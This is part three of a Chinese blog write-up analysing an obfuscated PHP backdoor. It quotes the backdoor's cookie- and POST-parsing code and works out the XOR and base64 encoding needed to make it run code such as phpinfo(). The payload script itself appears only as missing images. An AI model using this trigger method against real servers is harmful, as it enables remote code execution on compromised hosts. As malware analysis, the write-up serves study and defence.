项目实战 | 记一次对某猥琐PHP后门的爆菊( 三 )

也就是我们需要在第二次我们必须使e664fd()时候 ,
让e664fd($vv, $c77700426)与$kk的取反结果等于↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}于是需要看看$kk的值是如何过来的
foreach ($_COOKIE as $k=>$v){$vv = $v;$kk = $k;}if (!$vv){foreach ($_POST as $k=>$v){$vv = $v;$kk = $k;}}发现$kk/$vv前后没有做什么验证 , 代码就是就是比较单纯的获取COOKIE或POST提交过来的参数名和参数值并传给$kk/$vv我们通过cookie提交来验证一下是否正常输出:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
没问题!
三.确定爆菊思路然后我们大致确定下构造的思路:
e664fd(e664fd($vv, $c77700426), $kk);第一次e664fd()执行时:
e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'需返回能与第二次e664fd()cookie参数名取反结果为a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值第二次e664fd()执行时:
e664fd(第一次的返回值, $kk);//需返回
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}所以构造思路如下:
(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie参数名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
按照这个逻辑进行参数提交 , 方可触发后门 。
但COOKIE/POST中参数名对特殊字符支持有限 , 所以$kk(参数名)的值最好在字母/数字范围内 , 好在$vv(参数值)的值就宽容的多 , 尤其是由于$vv传递过程需要Base64解码 , 所以 , cookie值需base64编码 , 可以取反的字符范围就比较大了 。
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));我们先把$kk也就是cookie参数名的字符固定一下 , 比如就叫'tttttttttttttttttttttttttttttttttttttt.....'
(也可以是任意字符 cookie参数名允许即可)
具体长度取决于我们的payload序列化后的字符长度(phpinfo()的序列化
后长度是101个字符) , 两者长度要一致 。
四.写个Payload脚本我们写个脚本:大致实现通过传参生成任意执行代码的payload , 如果要更懒的话可以直接写提交过去 。 Payload代码:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
生成结果:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
执行结果:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
总结 1.心静下来比较难 , 一旦静下来面对很多问题都能解决 。2.自知没有多少技术含量 , 都是很基础的东西 。 希望谅解! 3.感谢AdminTony这段时间对我学习技术的帮助!问题:
为何我测试许久发现提交的命令只要大于11个字符就报错 , 应该不是cookie参数名长度问题 , 希望有兄弟解答!